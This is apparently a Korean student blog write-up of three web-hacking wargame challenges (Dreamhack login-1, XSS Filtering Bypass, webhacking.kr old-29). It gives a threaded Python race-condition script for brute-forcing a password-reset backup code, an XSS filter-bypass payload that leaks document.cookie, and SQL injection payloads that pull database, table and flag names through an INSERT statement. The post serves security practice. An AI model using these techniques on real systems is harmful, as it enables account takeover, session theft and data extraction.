본문 바로가기

1. Web hacking (웹 해킹)/2) 개념 정리

[보충] 버섯조아 26.04.04 보충 활동

팀활동에서 기존에 풀던 워게임보다 조금 더 난이도가 있는 문제를 풀었습니다.

그동안 공부한 내용 범위 안에서 3문제를 선정했습니다. 

 

<Dreamhack>

login-1 https://dreamhack.io/wargame/challenges/47

XSS Filtering Bypass https://dreamhack.io/wargame/challenges/433

 

<webhacking.kr>

old-29 https://webhacking.kr/challenge/web-14/

 


login-1 풀이

app.py

app.py 소스코드를 살펴보면 /admin에 접근하면 FLAG 값을 얻을 수 있다.

세션이 비어있지 않고(if session) 현재 세션의 level값이 userLevel[1], 즉 admin이면 FLAG 값이 반환된다.

 

 

 

첫화면에서 바로 /admin으로 이동하면 "Only Admin !" 이 출력된다.

로그인 상태가 아니라서 세션이 비어있고, admin도 아니기 때문이다.

 

 

 

/login 페이지에서 로그인, 회원가입, 비밀번호 찾기를 할 수 있다.

위처럼 SQL 쿼리가 전부 파라미터 바인딩을 쓰고 있기 때문 SQL Injection을 할 수 없다.

먼저 register에서 회원가입을 한 후, 어떤 사용자 정보가 노출되는지 살펴보자

 

 

 

 

회원가입을 성공하면 계정의 BackupCode가 출력된다.

이는 /forgot_password에서 비밀번호를 변경할 때 필요한 코드인 것 같다.

 

 

 

회원가입한 계정으로 로그인을 하면 상단바에 계정 메뉴가 생기고, ID를 클릭하면 /user/17 페이지로 이동한다.

해당 페이지에는 UserID, UserName, UserLevel이 출력된다.

 

 

app.py를 살펴보면 url의 17이라는 숫자가 useridx인 것을 알 수 있다.

 

 

 

새로 회원가입한 계정의 idx가 17이고, 18로 이동하면 "User Not Found." alert창이 뜬다.

idx가 1~16인 먼저 생성된 계정이 있음을 확인하고 각 계정의 UserLevel을 파악했다.

 

 

UserLevel이 1인 UserID:

Apple, Dog, coconut, lemon, potato, peach, orange

 

 

 

 

UserLevel이 admin인 Apple 계정으로 비밀번호 변경을 시도했다.

백업 코드를 몰라서 아무 숫자인 99를 입력했지만

잘못된 백업 코드라는 문장과 함께 남은 시도 횟수가 뜬다.

 

@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
    if request.method == 'GET':
        return render_template('forgot.html')
    else:
        userid = request.form.get("userid")
        newpassword = request.form.get("newpassword")
        backupCode = request.form.get("backupCode", type=int)

        conn = get_db()
        cur = conn.cursor()
        user = cur.execute('SELECT * FROM user WHERE id = ?', (userid,)).fetchone()
        if user:
            # security for brute force Attack.
            time.sleep(1)

            if user['resetCount'] == MAXRESETCOUNT:
                return "<script>alert('reset Count Exceed.');history.back(-1);</script>"
            
            if user['backupCode'] == backupCode:
                newbackupCode = makeBackupcode()
                updateSQL = "UPDATE user set pw = ?, backupCode = ?, resetCount = 0 where idx = ?"
                cur.execute(updateSQL, (hashlib.sha256(newpassword.encode()).hexdigest(), newbackupCode, str(user['idx'])))
                msg = f"<b>Password Change Success.</b><br/>New BackupCode : {newbackupCode}"

            else:
                updateSQL = "UPDATE user set resetCount = resetCount+1 where idx = ?"
                cur.execute(updateSQL, (str(user['idx'])))
                msg = f"Wrong BackupCode !<br/><b>Left Count : </b> {(MAXRESETCOUNT-1)-user['resetCount']}"
            
            conn.commit()
            return render_template("index.html", msg=msg)

        return "<script>alert('User Not Found.');history.back(-1);</script>";

/forgot_password 코드를 자세히 살펴보면

비밀번호 변경 실패시마다 resetCount 값이 +1 증가하며,

resetCount 값이 MAXRESETCOUNT와 같아지면 해당 계정은 더이상 비밀번호 변경 시도를 할 수 없다. 

백업 코드가 일치한다면 비밀번호 변경이 성공되며 새로운 백업 코드가 다시 발급된다.

 

그러나 time.sleep(1)로 인해 요청 처리 시간이 늘어나고, 그 사이 여러 요청이 동시에 같은 resetCount 값을 기준으로 검사를 통과하면서 레이스 컨디션이 발생할 수 있다.

*레이스컨디션: 여러 요청이나 스레드가 거의 동시에 같은 데이터에 접근할 때, 이를 순서대로 처리하지 못하고 순서가 꼬이면서 의도하지 않은 결과가 발생하는 취약점

 

 

<race.py>

import requests
import threading

URL = "http://host8.dreamhack.games:9787/forgot_password"

TARGET_ID = "Dog"
NEW_PW = "1234"

def try_code(code):
    data = {
        "userid": TARGET_ID,
        "newpassword": NEW_PW,
        "backupCode": code
    }

    r = requests.post(URL, data=data)

    if "Password Change Success" in r.text:
        print(f"[+] SUCCESS: {code}")

threads = []

for i in range(100):
    t = threading.Thread(target=try_code, args=(i,))
    threads.append(t)
    t.start()

for t in threads:
    t.join()

admin 계정 중 하나인 Dog을 대상으로 레이스컨디션 공격 코드를 작성한다.

 

 

cmd에서 python으로 실행 후 공격을 수행하여 비밀번호를 1234로 변경하였다.

Dog의 BackupCode는 49였다.

 

 

FLAG 획득

 

 

 

 


XSS Filtering Bypass 풀이

첫화면

 

 

 

/flag 에서 페이로드를 입력하는 것 같다.

 

vlun(xss) page에 들어가면 깨진 이미지와 파라미터가 적힌 url을 확인할 수 있다.

 

memo는 이 페이지에 들어갈 때마다 hello가 출력된다.

 

 

 

app.py에서 이 코드를 자세히 살펴보면

script, on, javascript: 를 필터링하고 있다.

<script>, onerror, onclick, javascript: 같은 글자를 공백으로 치환하고 있다.

그러나 <scrscriptipt>, oonnlick 같이 글자를 반복해서 넣으면 제대로 필터링되지 않을 수도 있다.

 

 

 

<scrscriptipt>document.locatioonn.href='/memo?memo='+document.cookie</scrscriptipt>

를 제출하고 /memo에서 flag 값을 확인한다.

 

 

 

FLAG 획득

 

 

 

 


old-29 풀이

파일을 업로드해서 FLAG값을 찾는 문제이다.

 

 

아무 파일을 선택하여 제출하면 DB에 저장된 time, ip, file이 출력된다.

INSERT 구문은 다음과 같을 것이다.

insert into DB(time,ip,file) values (1234,'ip','file')

 

 

Burp Suite를 이용하여 SQL 인젝션을 수행했다.

 

time, ip, file 순서로 수행했을 때는 업로드 에러가 뜬다.

결과가 출력될 때까지 컬럼 순서를 계속 바꿔주며 수행한다.

 

 

file, time, ip 순서로 INSERT 구문이 수행되도록 수정하면 성공적으로 출력이 된다.

이 순서에 맞춰 DB 데이터를 하나씩 뽑아냈다.

 

 

데이터베이스명 출력

1',1,'1'),(database(),1,'ip')#

→ chall29

 

테이블명 출력 (테이블이 많을 수 있기 때문에 limit으로 하나씩 가져온다.)

1',1,'1'),((select table_name from information_schema.tables where table_schema='chall29' limit 1,1),1,' ip')#

→ flag_congratz

 

컬럼명 출력 (컬럼 또한 많을 수 있기 때문에 limit으로 하나씩 가져온다.)

1',1,'1'),((select column_name from information_schema.columns where table_name='flag_congratz' limit 0,1),1,' ip')#

→ flag

 

flag 출력

1',1,'1'),((select flag from flag_congratz limit 0,1),1,' ip')#

 

 

출력 결과 FLAG 획득